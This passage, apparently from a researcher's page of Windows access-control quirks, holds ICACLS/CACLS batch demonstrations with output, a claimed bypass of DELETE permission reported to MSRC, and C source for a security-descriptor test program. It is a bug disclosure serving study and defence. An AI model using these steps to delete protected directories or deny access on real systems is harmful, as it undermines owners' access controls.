ICACLS.EXE Quirk16f.tmp /Q
ECHO Step 3: add access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC) /Q
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp /Q
ECHO Step 4: remove access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Q /Remove:g "%USERNAME%" /Remove:g None
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp /Q
ECHO Step 5: delete file 'Quirk16f.tmp'
ERASE Quirk16f.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window.
        1 file(s) copied.
Step 1: remove all inherited access permissions from file 'Quirk16f.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
Step 3: add access permissions to file 'Quirk16f.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)"

Quirk16f.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(WDAC)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(Rc)
             AMNESIAC\None:(D)
             OWNER RIGHTS:

Successfully processed 1 files; Failed processing 0 files
Step 4: remove access permissions from file 'Quirk16f.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp

Access denied

Quirk16f.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
Step 5: delete file 'Quirk16f.tmp'
Note: ICACLs.exe does not add inheritable ACEs to files, but discards them silently, reporting success.

Ouch¹: ICACLs.exe converts its access permissions AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to 0 alias NO_ACCESS!

Ouch²: ICACLs.exe converts its access permission D into the compound access mask SD alias DELETE plus SYNCHRONIZE, and displays this compound access mask 0x110000 as its access permission D too!

Note: ICACLs.exe converts the well-known SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER, and S-1-3-3 alias CREATOR GROUP SERVER into the object’s effective user and (primary) group SIDs.

Ouch³: ICACLs.exe displays the access mask 0 alias NO_ACCESS of the ACE (D;;;;;OW) as (S) alias SYNCHRONIZE!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL – it overrides the implicit RC alias READ_CONTROL and WD alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

The TechNet article Security Identifiers Technical Overview specifies:

The following table lists the universal well-known SIDs.

Universal well-known SIDs

Value Universal Well-Known SID Identifies
S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.

Demonstration (continued)

MKDIR Quirk16d.tmp
ECHO Step A: remove all inherited access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Inheritance:R /Q
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp /Q
ECHO Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA) /Q
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp /Q
ECHO Step C: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Q /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp /Q
ECHO Step E: create file 'Quirk16d.tmp\Quirk16f.tmp'
COPY NUL: Quirk16d.tmp\Quirk16f.tmp
ECHO Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
ICACLS.EXE Quirk16d.tmp\Quirk16f.tmp /Q
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO Step H: add access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S) /Q
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp /Q
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO Step J: remove access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Q /Remove:g "%USERNAME%"
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp /Q
ECHO Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
MKDIR Quirk16d.tmp\Quirk16d.tmp
ECHO Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
RMDIR Quirk16d.tmp\Quirk16d.tmp
ECHO Step M: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO Step N: modify access permissions of directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-0:(S) /Q /Remove:g None
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp /Q
ECHO Step O: delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window.
Step A: remove all inherited access permissions from directory 'Quirk16d.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI"

Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             CREATOR OWNER:(OI)(IO)(MA)
             AMNESIAC\Stefan:(RD,WD)
             CREATOR OWNER SERVER:(OI)(IO)(RD,WD)
             CREATOR GROUP:(CI)(IO)(AS)
             AMNESIAC\None:(Rc,WDAC)
             CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step C: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp AMNESIAC\Stefan:(RD,WD,AD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step E: create file 'Quirk16d.tmp\Quirk16f.tmp'
        1 file(s) copied.
Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
Quirk16d.tmp\Quirk16f.tmp AMNESIAC\Stefan:(F)
                          NT AUTHORITY\SYSTEM:(F)
                          The mapping between account names and security IDs was done.
(RX)

Successfully processed 1 files; Failed processing 0 files
Access denied
Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp
Step H: add access permissions to directory 'Quirk16d.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(AD)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(RD,WD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)"

Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
Step J: remove access permissions from directory 'Quirk16d.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\None:(S)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
Step M: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
Step N: modify access permissions of directory 'Quirk16d.tmp'
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp

Access denied

Quirk16d.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
Step O: delete directory 'Quirk16d.tmp'
Ouch⁴: ICACLs.exe adds inheritable ACEs with the invalid access masks AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to DACLs!

Note: without an inheritable ACE from its parent object the default security descriptor from the process’s access token is applied to a new object.

Ouch⁵: both CACLs.exe and the internal Del alias Erase command of the Command Processor Cmd.exe fail without SYNCHRONIZE access permission to the parent directory of the filesystem object to access!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL – it overrides the implicit RC alias READ_CONTROL and WD alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

Ouch⁶: the internal Rd alias Rmdir command of the Command Processor succeeds despite the missing SD alias DELETE access permission!

Security Impact

The bugs demonstrated above allow to delete directories without DELETE access permission as well as to deny (un)intentionally any access to (filesystem) objects via the ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED access permissions!

MSRC Case 65060

Due to their security impact I reported these bugs at the MSRC where case number 65060 was assigned.

They replied with the following statements:

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.

Quirk № 17

The Win32 functions CreateDirectory() and CreateFile() are documented in the MSDN as follows:
Creates a new directory. If the underlying file system supports security on files and directories, the function applies a specified security descriptor to the new directory.

[…]

BOOL CreateDirectory(
  LPCTSTR               lpPathName,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]

Creates or opens a file or I/O device. […]
BOOL CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]

The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]

The SECURITY_ATTRIBUTES and SECURITY_DESCRIPTOR structures are documented as follows:
typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;
  LPVOID lpSecurityDescriptor;
  BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
[…]

lpSecurityAttributes

A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]

A security descriptor includes information that specifies the following components of an object's security:
The Win32 functions DeleteFile(), DeleteFileTransacted(), MoveFileEx(), MoveFileWithProgress(), RemoveDirectory() and ReplaceFile() are documented in the MSDN as follows:
Deletes an existing file.

[…]

BOOL DeleteFile(
  LPCTSTR lpFileName
);
[…]

lpFileName

The name of the file to be deleted.

[…]

Moves an existing file or directory, including its children, with various move options.

[…]

BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,
  LPCTSTR lpNewFileName,
  DWORD   dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1!
Moves a file or directory, including its children. You can provide a callback function that receives progress notifications.

[…]

BOOL MoveFileWithProgress(
  LPCTSTR            lpExistingFileName,
  LPCTSTR            lpNewFileName,
  LPPROGRESS_ROUTINE lpProgressRoutine,
  LPVOID             lpData,
  DWORD              dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

Deletes an existing empty directory.

[…]

BOOL RemoveDirectory(
  LPCTSTR lpPathName
);
[…]

lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

RemoveDirectory() but fails to delete empty directories created with the same access rights as files!

Demonstration

Perform the following 9 simple steps to show the (mis)behaviour.
  1. Create the text file quirk17.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    #ifndef _WIN64
    #pragma intrinsic(memcmp)
    #else
    #pragma function(memcmp)
    
    int	memcmp(char const *left, char const *right, size_t count)
    {
    	size_t	index;
    	int	delta;
    
    	for (index = 0; index < count; index++)
    		if (delta = left[index] - right[index])
    			return delta;
    	return 0;
    }
    #endif
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } acl = {{ACL_REVISION, 0, sizeof(acl), 1, 0},
    #if 0	// (A;NP;FA;;;AU)
             {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
              FILE_ALL_ACCESS,
              {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
    #else	// (A;NP;SD;;;OW)
             {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
              DELETE,
              {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
    #endif
      dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
    #ifndef QUIRKS		// (A;NP;0x1f0000;;;OW)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               STANDARD_RIGHTS_ALL,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
    #elif QUIRKS == 0	// (A;NP;FA;;;AU)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
    #elif QUIRKS == 1	// (A;NP;0x1f0000;;;S-1-5-15)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               STANDARD_RIGHTS_ALL,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}},
    #elif QUIRKS == 2	// (A;NP;FA;;;PS)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}},
    #elif QUIRKS == 3	// (A;NP;0x1f0000;;;S-1-5-1000)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               STANDARD_RIGHTS_ALL,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}},
    #elif QUIRKS == 4	// (A;NP;0x3000000;;;IU)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}},
    #else	// NOTE: construct an INVALID DACL!
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}},
    #endif
      sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
    	// (ML;;NRNWNX;;;ME)
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    #ifdef QUIRKS
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
    #else	// BUG: CreateFile*() and CreateDirectory*() fail with ERROR_PRIVILEGE_NOT_HELD when a "mandatory label" is present!
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
    #endif
    				      (SID *) NULL,
    				      (SID *) NULL,
    #ifdef QUIRKS
    				      (ACL *) NULL,
    #else
    				      &sacl,
    #endif
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa),
    				      &sd,
    				      FALSE};
    
    const	WCHAR	szName[] = L"Quirk17.tmp";
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	ACL	*lpDACL;
    	LPWSTR	lpSDDL;
    	DWORD	dwError;
    	DWORD	dwFile;
    	HANDLE	hFile;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
    		                                                         SDDL_REVISION_1,
    		                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                                                         &lpSDDL,
    		                                                         (LPDWORD) NULL))
    			PrintConsole(hConsole,
    			             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
    			             lpSDDL, szName);
    
    			if (LocalFree(lpSDDL) != NULL)
    				PrintConsole(hConsole,
    				             L"LocalFree() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		hFile = CreateFile(szName,
    		                   FILE_WRITE_DATA | READ_CONTROL,
    		                   FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    		                   &sa,
    		                   CREATE_NEW,
    #if 0
    		                   FILE_FLAG_DELETE_ON_CLOSE,
    #else
    		                   FILE_ATTRIBUTE_NORMAL,
    #endif
    		                   (HANDLE) NULL);
    
    		if (hFile == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"CreateFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetSecurityInfo(hFile,
    			                          SE_FILE_OBJECT,
    			                          OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                          (SID **) NULL,
    			                          (SID **) NULL,
    			                          &lpDACL,
    			                          (ACL **) NULL,
    			                          &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"File \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of file differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!WriteFile(hFile,
    			               L"\xFEFF",	// UTF-16LE byte order mark
    			               sizeof(L'\xFEFF'),
    			               &dwFile,
    			               (LPOVERLAPPED) NULL))
    				PrintConsole(hConsole,
    				             L"WriteFile() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwFile != sizeof(L'\xFEFF'))
    					PrintConsole(hConsole,
    					             L"WriteFile() failed, %lu of %lu bytes written\n",
    					             dwFile, sizeof(L'\xFEFF'));
    			if (!CloseHandle(hFile))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!DeleteFile(szName))
    			{
    				PrintConsole(hConsole,
    				             L"DeleteFile() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl,
    					                               (ACL *) NULL);
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!DeleteFile(szName))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CreateDirectory(szName,
    		                     &sa))
    			PrintConsole(hConsole,
    			             L"CreateDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetNamedSecurityInfo(szName,
    			                               SE_FILE_OBJECT,
    			                               OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                               (SID **) NULL,
    			                               (SID **) NULL,
    			                               &lpDACL,
    			                               (ACL **) NULL,
    			                               &lpSD);
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetNamedSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of directory differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!RemoveDirectory(szName))
    			{
    				PrintConsole(hConsole,
    				             L"RemoveDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl,
    					                               (ACL *) NULL);
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!RemoveDirectory(szName))
    							PrintConsole(hConsole,
    							             L"RemoveDirectory() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk17.exe from the source file quirk17.c created in step 1., with the preprocessor macro QUIRKS defined as 0 or 1:

    SET CL=/GAFy /Oisy /W4 /wd4090 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=0 quirk17.c advapi32.lib kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk17.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
